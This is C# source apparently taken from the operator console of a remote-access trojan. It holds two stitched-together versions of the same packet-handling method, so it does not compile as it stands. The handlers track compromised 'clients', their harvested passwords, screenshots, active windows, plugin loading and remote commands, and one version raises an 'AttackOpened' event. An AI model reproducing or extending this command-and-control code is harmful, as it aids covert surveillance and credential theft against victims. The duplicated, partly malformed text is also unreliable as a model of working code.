private void EndRead(IAsyncResult asyncResult)
        {
            try
            {
                var parameter = _readByteDelegate.EndInvoke(asyncResult);
                var size      = Sender.BinaryReader.ReadInt32();
                var bytes     = Sender.BinaryReader.ReadBytes(size);

                switch ((FromClientPackage)parameter)
                {
                case FromClientPackage.ResponseToAdministration:
                case FromClientPackage.ResponseToAdministrationCompressed:
                    var data = parameter == (byte)FromClientPackage.ResponseToAdministrationCompressed
                                                ? LZF.Decompress(bytes, 1)
                                                : bytes.Skip(1).ToArray();

                    if (CurrentController != null)
                    {
                        CurrentController.PackageReceived(bytes[0], data);
                    }
                    break;

                case FromClientPackage.ResponseLoginOpen:
                    var clientId = BitConverter.ToInt32(bytes, 0);
                    var client   = Clients.FirstOrDefault(x => x.Id == clientId);
                    if (client == null)
                    {
                        break;
                    }

                    CurrentController = new ClientController(client, _tcpClient, Sender);
                    if (AttackOpened != null)
                    {
                        AttackOpened.Invoke(this, EventArgs.Empty);
                    }
                    break;

                case FromClientPackage.NewClientConnected:
                    lock (_clientListLock) {
                        ConnectClient(new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) }).Deserialize <OnlineClientInformation>(bytes));
                    }
                    break;

                case FromClientPackage.ClientConnected:
                    lock (_clientListLock) {
                        ConnectClient(new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) }).Deserialize <OnlineClientInformation>(bytes));
                    }
                    break;

                case FromClientPackage.ClientDisconnected:
                    lock (_clientListLock) {
                        var disconnectedClientId = BitConverter.ToInt32(bytes, 0);
                        var disconnectedClient   =
                            Clients
                            .FirstOrDefault(x => x.Id == disconnectedClientId);
                        if (disconnectedClient == null)
                        {
                            break;
                        }

                        if (CurrentController != null && CurrentController.Client == disconnectedClient)
                        {
                            CurrentController.Dispose();
                            CurrentController = null;
                        }

                        Clients.Remove(disconnectedClient);

                        if (ClientListChanged != null)
                        {
                            ClientListChanged.Invoke(this, EventArgs.Empty);
                        }

                        if (ClientDisconnected != null)
                        {
                            ClientDisconnected.Invoke(this, disconnectedClient);
                        }
                    }
                    break;

                case FromClientPackage.DataTransferProtocolResponse:
                    DataTransferProtocolFactory.Receive(bytes);
                    break;

                default:
                    break;
                }

                _readByteDelegate.BeginInvoke(EndRead, null);
            }
            catch (Exception)
            {
                Dispose();
                if (Disconnected != null)
                {
                    Disconnected.Invoke(this, EventArgs.Empty);
                }
            }
        }
        private void EndRead(IAsyncResult asyncResult)
        {
            try
            {
                var        parameter = _readByteDelegate.EndInvoke(asyncResult);
                var        size      = Sender.Connection.BinaryReader.ReadInt32();
                var        bytes     = Sender.Connection.BinaryReader.ReadBytes(size);
                Serializer serializer;
                OnlineClientInformation client;
                int clientId;

                PackageInformation packageInformation = null;
                if (PackageReceived != null)
                {
                    packageInformation = new PackageInformation
                    {
                        Size       = bytes.Length + 1,
                        Timestamp  = DateTime.Now,
                        IsReceived = true
                    }
                }
                ;

                switch ((FromClientPackage)parameter)
                {
                case FromClientPackage.ResponseToAdministration:
                case FromClientPackage.ResponseToAdministrationCompressed:
                    var isCompressed = parameter == (byte)FromClientPackage.ResponseToAdministrationCompressed;
                    var data         = isCompressed
                            ? LZF.Decompress(bytes, 1)
                            : bytes;

                    if (packageInformation != null)
                    {
                        packageInformation.Description = (FromClientPackage)parameter + " " +
                                                         CurrentController.DescribePackage(bytes[0], data,
                                                                                           isCompressed ? 0 : 1);
                    }
                    CurrentController?.PackageReceived(bytes[0], data, isCompressed ? 0 : 1);
                    break;

                case FromClientPackage.ResponseLoginOpen:
                    clientId = BitConverter.ToInt32(bytes, 0);
                    client   = _loginsPending.FirstOrDefault(x => x.Id == clientId);
                    if (client == null)
                    {
                        Logger.Error((string)Application.Current.Resources["CouldNotFindClient"]);
                        break;
                    }
                    _loginsPending.Remove(client);
                    Application.Current.Dispatcher.BeginInvoke(new Action(() =>
                    {
                        CurrentController = new ClientController(client, Sender, this);
                        ((Commander)CurrentController.Commander).ConnectionInfo.PackageSent +=
                            _packageSentEventHandler;
                        LoginOpened?.Invoke(this, EventArgs.Empty);
                    }));
                    break;

                case FromClientPackage.NewClientConnected:
                    serializer =
                        new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) });
                    client = serializer.Deserialize <OnlineClientInformation>(bytes);
                    Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"],
                                              client.IpAddress, client.Port, client.UserName));

                    lock (_clientListUpdateLock)
                        Application.Current.Dispatcher.Invoke(() => ClientProvider.NewClientConnected(client));
                    NewClientConnected?.Invoke(this, client);
                    break;

                case FromClientPackage.ClientConnected:
                    serializer =
                        new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) });
                    client = serializer.Deserialize <OnlineClientInformation>(bytes);
                    Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"],
                                              client.IpAddress, client.Port, client.UserName));

                    lock (_clientListUpdateLock)
                        Application.Current.Dispatcher.Invoke(() => ClientProvider.ClientConnected(client));

                    ClientConnected?.Invoke(this, client);
                    break;

                case FromClientPackage.ClientDisconnected:
                    var disconnectedClientId = BitConverter.ToInt32(bytes, 0);
                    if (CurrentController != null && CurrentController.Client.Id == disconnectedClientId)
                    {
                        CurrentController.Dispose();
                        CurrentController = null;
                    }

                    lock (_clientListUpdateLock)
                        Application.Current.Dispatcher.Invoke(
                            () => ClientProvider.ClientDisconnected(disconnectedClientId));
                    ClientDisconnected?.Invoke(this, disconnectedClientId);
                    break;

                case FromClientPackage.ComputerInformationAvailable:
                    var clientWithComputerInformationId = BitConverter.ToInt32(bytes, 0);
                    Application.Current.Dispatcher.BeginInvoke(
                        new Action(
                            () => ClientProvider.ComputerInformationAvailable(clientWithComputerInformationId)));
                    break;

                case FromClientPackage.PasswordsAvailable:
                    var clientWithPasswordsId = BitConverter.ToInt32(bytes, 0);
                    ClientProvider.PasswordsAvailable(clientWithPasswordsId);
                    break;

                case FromClientPackage.GroupChanged:
                    var newGroupNameLength = BitConverter.ToInt32(bytes, 0);
                    var newGroupName       = Encoding.UTF8.GetString(bytes, 4, newGroupNameLength);
                    var clients            = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes,
                                                                                                          4 + newGroupNameLength);

                    ClientProvider.ClientGroupChanged(clients, newGroupName);
                    Logger.Receive((string)Application.Current.Resources["GroupChanged"]);
                    break;

                case FromClientPackage.ClientsRemoved:
                    serializer = new Serializer(typeof(List <int>));
                    var removedClientsIds = serializer.Deserialize <List <int> >(bytes);
                    lock (_clientListUpdateLock)
                        Application.Current.Dispatcher.Invoke(
                            () => ClientProvider.ClientRemoved(removedClientsIds));

                    if (removedClientsIds.Count == 1)
                    {
                        Logger.Receive((string)Application.Current.Resources["ClientRemoved"]);
                    }
                    else
                    {
                        Logger.Receive(string.Format((string)Application.Current.Resources["ClientsRemoved"],
                                                     removedClientsIds.Count));
                    }
                    break;

                case FromClientPackage.DynamicCommandsRemoved:
                    DynamicCommandsRemoved?.Invoke(this,
                                                   new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes));
                    break;

                case FromClientPackage.PluginLoaded:
                    clientId = BitConverter.ToInt32(bytes, 0);
                    var pluginInfo = new Serializer(typeof(PluginInfo)).Deserialize <PluginInfo>(bytes, 4);
                    ClientProvider.ClientPluginAvailable(clientId, pluginInfo);
                    PluginLoaded?.Invoke(this,
                                         new PluginLoadedEventArgs(clientId, pluginInfo.Guid, pluginInfo.Version, true));
                    break;

                case FromClientPackage.PluginLoadFailed:
                    clientId = BitConverter.ToInt32(bytes, 0);
                    PluginLoadingFailed?.Invoke(this,
                                                new PluginLoadedEventArgs(clientId, new Guid(bytes.Skip(4).Take(16).ToArray()),
                                                                          Encoding.ASCII.GetString(bytes.Skip(20).ToArray()), false));
                    break;

                case FromClientPackage.DataTransferProtocolResponse:
                    if (packageInformation != null)
                    {
                        packageInformation.Description = "DataTransferProtocolResponse - " +
                                                         DataTransferProtocolFactory.DescribeReceivedData(bytes, 0);
                    }
                    DataTransferProtocolFactory.Receive(bytes);
                    break;

                case FromClientPackage.ResponseActiveWindow:
                    clientId = BitConverter.ToInt32(bytes, 0);

                    var clientViewModel = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId);
                    if (clientViewModel != null)
                    {
                        clientViewModel.ActiveWindow = Encoding.UTF8.GetString(bytes, 4, bytes.Length - 4);
                    }
                    break;

                case FromClientPackage.ResponseScreenshot:
                    clientId = BitConverter.ToInt32(bytes, 0);

                    var clientViewModel2 = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId);
                    if (clientViewModel2 != null)
                    {
                        using (var stream = new MemoryStream(bytes, 4, bytes.Length - 4))
                            using (var image = (Bitmap)Image.FromStream(stream))
                                clientViewModel2.Thumbnail = BitmapConverter.ToBitmapSource(image);
                    }
                    break;

                case FromClientPackage.DataRemoved:
                    DataRemoved?.Invoke(this, new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes));
                    break;

                case FromClientPackage.PasswordsRemoved:
                    var clientIds = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes);
                    foreach (var id in clientIds)
                    {
                        ClientProvider.PasswordsRemoved(id);
                    }

                    PasswordsRemoved?.Invoke(this, clientIds);
                    break;

                case FromClientPackage.DataDownloadPackage:
                    DownloadDataReceived?.Invoke(this, bytes);
                    break;

                case FromClientPackage.StaticCommandPluginReceived:
                    StaticCommandReceived?.Invoke(this, bytes);
                    break;

                case FromClientPackage.StaticCommandPluginTransmissionFailed:
                    StaticCommandTransmissionFailed?.Invoke(this, bytes);
                    break;

                case FromClientPackage.DynamicCommandAdded:
                    DynamicCommandAdded?.Invoke(this,
                                                new Serializer(RegisteredDynamicCommand.RequiredTypes).Deserialize <RegisteredDynamicCommand>(bytes));
                    break;

                case FromClientPackage.DynamicCommandEventsAdded:
                    DynamicCommandEventsAdded?.Invoke(this,
                                                      new Serializer(typeof(List <DynamicCommandEvent>)).Deserialize <List <DynamicCommandEvent> >(
                                                          bytes));
                    break;

                case FromClientPackage.DynamicCommandStatusUpdate:
                    DynamicCommandStatusUpdated?.Invoke(this,
                                                        new DynamicCommandStatusUpdatedEventArgs(BitConverter.ToInt32(bytes, 0),
                                                                                                 (DynamicCommandStatus)bytes[4]));
                    break;

                case FromClientPackage.ResponseLibraryInformation:
                    LibraryInformationReceived?.Invoke(this,
                                                       new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0),
                                                                                       (PortableLibrary)BitConverter.ToInt32(bytes, 4)));
                    break;

                case FromClientPackage.ResponseLibraryLoadingResult:
                    LibraryLoadingResultReceived?.Invoke(this,
                                                         new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0),
                                                                                         (PortableLibrary)BitConverter.ToInt32(bytes, 4)));
                    break;

                case FromClientPackage.ActiveCommandsChanged:
                    ActiveCommandsChanged?.Invoke(this,
                                                  new Serializer(typeof(ActiveCommandsUpdate)).Deserialize <ActiveCommandsUpdate>(bytes, 0));
                    break;

                default:
                    throw new ArgumentOutOfRangeException();
                }

                if (packageInformation != null)
                {
                    if (string.IsNullOrEmpty(packageInformation.Description))
                    {
                        packageInformation.Description = ((FromClientPackage)parameter).ToString();
                    }
                    PackageReceived?.Invoke(this, packageInformation);
                }

                _readByteDelegate.BeginInvoke(EndRead, null);
            }
            catch (Exception ex)
            {
                if (!(ex is IOException) || ex.HResult != -2147024858)
                {
                    LogManager.GetCurrentClassLogger().Warn(ex, "Disconnected from server");
                    if (Application.Current != null)
                    {
                        Logger.Error(string.Format((string)Application.Current.Resources["DisconnectedFromServerException"],
                                                   ex.Message));
                    }
                }
                else if (Application.Current != null)
                {
                    Logger.Warn((string)Application.Current.Resources["DisconnectedFromServer"]);
                }

                else
                {
                    LogManager.GetCurrentClassLogger().Warn("NullReference");
                }

                Dispose();
                Disconnected?.Invoke(this, EventArgs.Empty);
            }
        }